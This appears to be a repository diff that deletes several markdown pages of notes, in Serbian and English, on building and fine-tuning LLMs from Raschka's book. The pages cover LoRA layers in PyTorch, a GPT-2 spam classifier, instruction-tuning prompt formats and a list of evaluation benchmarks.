- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some prompts.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,61 +0,0 @@
# 7.0. LoRA poboljšanja u finom podešavanju
## LoRA poboljšanja
> [!TIP]
> Korišćenje **LoRA značajno smanjuje računarske** resurse potrebne za **fino podešavanje** već obučenih modela.
LoRA omogućava efikasno fino podešavanje **velikih modela** menjajući samo **mali deo** modela. Smanjuje broj parametara koje treba obučavati, čime se štedi **memorija** i **računarski resursi**. To je zato što:
1. **Smanjuje broj obučivih parametara**: Umesto da ažurira celu težinsku matricu u modelu, LoRA **delimi** težinsku matricu na dve manje matrice (nazvane **A** i **B**). To čini obuku **bržom** i zahteva **manje memorije** jer je potrebno ažurirati manje parametara.
1. To je zato što umesto da izračunava potpuno ažuriranje težine sloja (matrice), aproksimira ga kao proizvod 2 manje matrice, smanjujući ažuriranje za izračunavanje:\
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2. **Održava originalne težine modela nepromenjenim**: LoRA vam omogućava da zadržite originalne težine modela iste, i samo ažurirate **nove male matrice** (A i B). To je korisno jer znači da se originalno znanje modela čuva, a vi samo prilagođavate ono što je neophodno.
3. **Efikasno fino podešavanje specifično za zadatak**: Kada želite da prilagodite model za **novi zadatak**, možete samo obučavati **male LoRA matrice** (A i B) dok ostavljate ostatak modela nepromenjenim. To je **mnogo efikasnije** od ponovnog obučavanja celog modela.
4. **Efikasnost skladištenja**: Nakon finog podešavanja, umesto da čuvate **novi model** za svaki zadatak, potrebno je da sačuvate samo **LoRA matrice**, koje su veoma male u poređenju sa celim modelom. To olakšava prilagođavanje modela mnogim zadacima bez prekomernog korišćenja skladišta.
Da biste implementirali LoraLayers umesto Linear slojeva tokom finog podešavanja, ovde je predložen ovaj kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
```python
import math
# Create the LoRA layer with the 2 matrices and the alpha
class LoRALayer(torch.nn.Module):
def __init__(self, in_dim, out_dim, rank, alpha):
super().__init__()
self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
self.alpha = alpha
def forward(self, x):
x = self.alpha * (x @ self.A @ self.B)
return x
# Combine it with the linear layer
class LinearWithLoRA(torch.nn.Module):
def __init__(self, linear, rank, alpha):
super().__init__()
self.linear = linear
self.lora = LoRALayer(
linear.in_features, linear.out_features, rank, alpha
)
def forward(self, x):
return self.linear(x) + self.lora(x)
# Replace linear layers with LoRA ones
def replace_linear_with_lora(model, rank, alpha):
for name, module in model.named_children():
if isinstance(module, torch.nn.Linear):
# Replace the Linear layer with LinearWithLoRA
setattr(model, name, LinearWithLoRA(module, rank, alpha))
else:
# Recursively apply the same function to child modules
replace_linear_with_lora(module, rank, alpha)
```
## Reference
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,117 +0,0 @@
# 7.1. Fine-Tuning for Classification
## What is
Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch.
> [!NOTE]
> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform.
> [!TIP]
> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not).
## Preparing the data set
### Data set size
Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each.
Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**.
- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation.
- This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one.
- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications.
### Entries length
As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding.
### Initialize the model
Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it.
## Classification head
In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words).
```python
# This code modified the final layer with a Linear one with 2 outs
num_classes = 2
model.out_head = torch.nn.Linear(
in_features=BASE_CONFIG["emb_dim"],
out_features=num_classes
)
```
## Parameters to tune
In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**.
```python
# This code makes all the parameters of the model unrtainable
for param in model.parameters():
param.requires_grad = False
# Allow to fine tune the last layer in the transformer block
for param in model.trf_blocks[-1].parameters():
param.requires_grad = True
# Allow to fine tune the final layer norm
for param in model.final_norm.parameters():
param.requires_grad = True
```
## Entries to use for training
In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language.
In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token.
This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as:
```python
def calc_accuracy_loader(data_loader, model, device, num_batches=None):
model.eval()
correct_predictions, num_examples = 0, 0
if num_batches is None:
num_batches = len(data_loader)
else:
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
with torch.no_grad():
logits = model(input_batch)[:, -1, :] # Logits of last output token
predicted_labels = torch.argmax(logits, dim=-1)
num_examples += predicted_labels.shape[0]
correct_predictions += (predicted_labels == target_batch).sum().item()
else:
break
return correct_predictions / num_examples
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)[:, -1, :] # Logits of last output token
loss = torch.nn.functional.cross_entropy(logits, target_batch)
return loss
```
Note how for each batch we are only interested in the **logits of the last token predicted**.
## Complete GPT2 fine-tune classification code
You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,100 +0,0 @@
# 7.2. Podešavanje za praćenje uputstava
> [!TIP]
> Cilj ovog odeljka je da pokaže kako **podešavati već unapred obučeni model da prati uputstva** umesto samo generisanja teksta, na primer, odgovaranje na zadatke kao chat bot.
## Skup podataka
Da bi se podešavao LLM da prati uputstva, potrebno je imati skup podataka sa uputstvima i odgovorima za podešavanje LLM-a. Postoje različiti formati za obučavanje LLM-a da prati uputstva, na primer:
- Primer stila upita Apply Alpaca:
```csharp
Below is an instruction that describes a task. Write a response that appropriately completes the request.
### Instruction:
Calculate the area of a circle with a radius of 5 units.
### Response:
The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units:
\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units.
```
- Phi-3 Prompt Stil Primer:
```vbnet
<|User|>
Can you explain what gravity is in simple terms?
<|Assistant|>
Absolutely! Gravity is a force that pulls objects toward each other.
```
Trening LLM-a sa ovakvim skupovima podataka umesto samo sirovog teksta pomaže LLM-u da razume da treba da daje specifične odgovore na pitanja koja prima.
Stoga, jedna od prvih stvari koje treba uraditi sa skupom podataka koji sadrži zahteve i odgovore je da se modeluje taj datum u željenom formatu upita, kao:
```python
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
def format_input(entry):
instruction_text = (
f"Below is an instruction that describes a task. "
f"Write a response that appropriately completes the request."
f"\n\n### Instruction:\n{entry['instruction']}"
)
input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else ""
return instruction_text + input_text
model_input = format_input(data[50])
desired_response = f"\n\n### Response:\n{data[50]['output']}"
print(model_input + desired_response)
```
Zatim, kao i uvek, potrebno je podeliti skup podataka na skupove za obuku, validaciju i testiranje.
## Batching & Data Loaders
Zatim, potrebno je grupisati sve ulaze i očekivane izlaze za obuku. Za to je potrebno:
- Tokenizovati tekstove
- Podesiti sve uzorke na istu dužinu (obično će dužina biti onoliko velika koliko je dužina konteksta korišćena za prethodnu obuku LLM-a)
- Kreirati očekivane tokene pomeranjem ulaza za 1 u prilagođenoj funkciji za grupisanje
- Zameniti neke tokene za popunjavanje sa -100 kako bi ih isključili iz gubitka obuke: Nakon prvog `endoftext` tokena, zameniti sve ostale `endoftext` tokene sa -100 (jer korišćenje `cross_entropy(...,ignore_index=-100)` znači da će ignorisati ciljeve sa -100)
- \[Opcionalno\] Maskirati koristeći -100 takođe sve tokene koji pripadaju pitanju kako bi LLM naučio samo kako da generiše odgovor. U stilu Apply Alpaca to će značiti maskirati sve do `### Response:`
Sa ovim kreiranim, vreme je da se kreiraju učitavači podataka za svaki skup podataka (obuka, validacija i test).
## Učitaj prethodno obučeni LLM & Fino podešavanje & Provera gubitka
Potrebno je učitati prethodno obučeni LLM kako bi se fino podešavao. Ovo je već raspravljano na drugim stranicama. Zatim, moguće je koristiti prethodno korišćenu funkciju obuke za fino podešavanje LLM-a.
Tokom obuke takođe je moguće videti kako se gubitak obuke i gubitak validacije menjaju tokom epoha da bi se videlo da li se gubitak smanjuje i da li dolazi do prekomernog prilagođavanja.\
Zapamtite da prekomerno prilagođavanje nastaje kada se gubitak obuke smanjuje, ali se gubitak validacije ne smanjuje ili čak povećava. Da biste to izbegli, najjednostavnija stvar koju treba učiniti je da prekinete obuku u epohi kada ovo ponašanje počne.
## Kvalitet odgovora
Pošto ovo nije fino podešavanje klasifikacije gde je moguće više verovati varijacijama gubitka, takođe je važno proveriti kvalitet odgovora u testnom skupu. Stoga, preporučuje se da se prikupe generisani odgovori iz svih testnih skupova i **provere njihov kvalitet ručno** da bi se videlo da li ima pogrešnih odgovora (napomena da je moguće da LLM ispravno kreira format i sintaksu rečenice odgovora, ali daje potpuno pogrešan odgovor. Varijacija gubitka neće odražavati ovo ponašanje).\
Napomena da je takođe moguće izvršiti ovu reviziju prosleđivanjem generisanih odgovora i očekivanih odgovora **drugim LLM-ovima i tražiti od njih da procene odgovore**.
Drugi test koji treba izvršiti da bi se proverio kvalitet odgovora:
1. **Merenje Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU procenjuje znanje modela i sposobnosti rešavanja problema u 57 predmeta, uključujući humanističke nauke, nauke i još mnogo toga. Koristi pitanja sa višestrukim izborom da proceni razumevanje na različitim nivoima težine, od osnovnog do naprednog profesionalnog.
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Ova platforma omogućava korisnicima da uporede odgovore različitih chatbota jedan pored drugog. Korisnici unose upit, a više chatbota generiše odgovore koji se mogu direktno uporediti.
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval je automatizovani okvir za evaluaciju gde napredni LLM poput GPT-4 procenjuje odgovore drugih modela na različite upite.
4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE je zbirka od devet zadataka razumevanja prirodnog jezika, uključujući analizu sentimenta, tekstualno implikaciju i odgovaranje na pitanja.
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Oslanjajući se na GLUE, SuperGLUE uključuje izazovnije zadatke dizajnirane da budu teški za trenutne modele.
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench je velika mera sa više od 200 zadataka koji testiraju sposobnosti modela u oblastima kao što su rezonovanje, prevođenje i odgovaranje na pitanja.
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM pruža sveobuhvatnu evaluaciju kroz različite metrike kao što su tačnost, robusnost i pravednost.
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Okvir za evaluaciju otvorenog koda od strane OpenAI koji omogućava testiranje AI modela na prilagođenim i standardizovanim zadacima.
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Zbirka programskih problema koji se koriste za procenu sposobnosti generisanja koda jezičkih modela.
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD se sastoji od pitanja o člancima na Wikipediji, gde modeli moraju razumeti tekst da bi tačno odgovorili.
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Veliki skup podataka o trivijalnim pitanjima i odgovorima, zajedno sa dokumentima kao dokazima.
i još mnogo, mnogo više
## Kod za fino podešavanje praćenja uputstava
Možete pronaći primer koda za izvođenje ovog fino podešavanja na [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
## Reference
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,98 +0,0 @@
# LLM Trening - Priprema Podataka
**Ovo su moje beleške iz veoma preporučene knjige** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **sa dodatnim informacijama.**
## Osnovne Informacije
Trebalo bi da počnete čitanjem ovog posta za neke osnovne koncepte koje treba da znate:
{{#ref}}
0.-basic-llm-concepts.md
{{#endref}}
## 1. Tokenizacija
> [!TIP]
> Cilj ove inicijalne faze je veoma jednostavan: **Podeliti ulaz u tokene (ids) na način koji ima smisla**.
{{#ref}}
1.-tokenizing.md
{{#endref}}
## 2. Uzorkovanje Podataka
> [!TIP]
> Cilj ove druge faze je veoma jednostavan: **Uzorkovati ulazne podatke i pripremiti ih za fazu obuke obično razdvajanjem skupa podataka u rečenice određene dužine i generisanjem očekivanog odgovora.**
{{#ref}}
2.-data-sampling.md
{{#endref}}
## 3. Token Umetanja
> [!TIP]
> Cilj ove treće faze je veoma jednostavan: **Dodeliti svakom od prethodnih tokena u rečniku vektor željenih dimenzija za obuku modela.** Svaka reč u rečniku će biti tačka u prostoru X dimenzija.\
> Imajte na umu da je inicijalno pozicija svake reči u prostoru "nasumično" inicijalizovana i te pozicije su parametri koji se mogu obučavati (biće poboljšani tokom obuke).
>
> Štaviše, tokom umetanja tokena **stvara se još jedan sloj umetanja** koji predstavlja (u ovom slučaju) **apsolutnu poziciju reči u rečenici za obuku**. Na ovaj način, reč na različitim pozicijama u rečenici će imati različitu reprezentaciju (značenje).
{{#ref}}
3.-token-embeddings.md
{{#endref}}
## 4. Mehanizmi Pažnje
> [!TIP]
> Cilj ove četvrte faze je veoma jednostavan: **Primena nekih mehanizama pažnje**. Ovi će biti mnogo **ponovljenih slojeva** koji će **uhvatiti odnos reči u rečniku sa njenim susedima u trenutnoj rečenici koja se koristi za obuku LLM-a**.\
> Za ovo se koristi mnogo slojeva, tako da će mnogo parametara koji se mogu obučavati uhvatiti ove informacije.
{{#ref}}
4.-attention-mechanisms.md
{{#endref}}
## 5. LLM Arhitektura
> [!TIP]
> Cilj ove pete faze je veoma jednostavan: **Razviti arhitekturu celog LLM-a**. Spojiti sve, primeniti sve slojeve i kreirati sve funkcije za generisanje teksta ili transformaciju teksta u ID-ove i obrnuto.
>
> Ova arhitektura će se koristiti i za obuku i za predikciju teksta nakon što je obučena.
{{#ref}}
5.-llm-architecture.md
{{#endref}}
## 6. Predobuka i Učitavanje modela
> [!TIP]
> Cilj ove šeste faze je veoma jednostavan: **Obučiti model od nule**. Za ovo će se koristiti prethodna LLM arhitektura sa nekim petljama koje prolaze kroz skupove podataka koristeći definisane funkcije gubitka i optimizator za obuku svih parametara modela.
{{#ref}}
6.-pre-training-and-loading-models.md
{{#endref}}
## 7.0. LoRA Poboljšanja u finom podešavanju
> [!TIP]
> Korišćenje **LoRA značajno smanjuje računarske resurse** potrebne za **fino podešavanje** već obučenih modela.
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
{{#endref}}
## 7.1. Fino Podešavanje za Klasifikaciju
> [!TIP]
> Cilj ovog odeljka je da pokaže kako fino podešavati već obučeni model tako da umesto generisanja novog teksta LLM daje **verovatnoće da dati tekst bude kategorizovan u svaku od datih kategorija** (kao što je da li je tekst spam ili ne).
{{#ref}}
7.1.-fine-tuning-for-classification.md
{{#endref}}
## 7.2. Fino Podešavanje za Praćenje Uputstava
> [!TIP]
> Cilj ovog odeljka je da pokaže kako **fino podešavati već obučeni model da prati uputstva** umesto samo generisanja teksta, na primer, odgovaranje na zadatke kao chat bot.
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}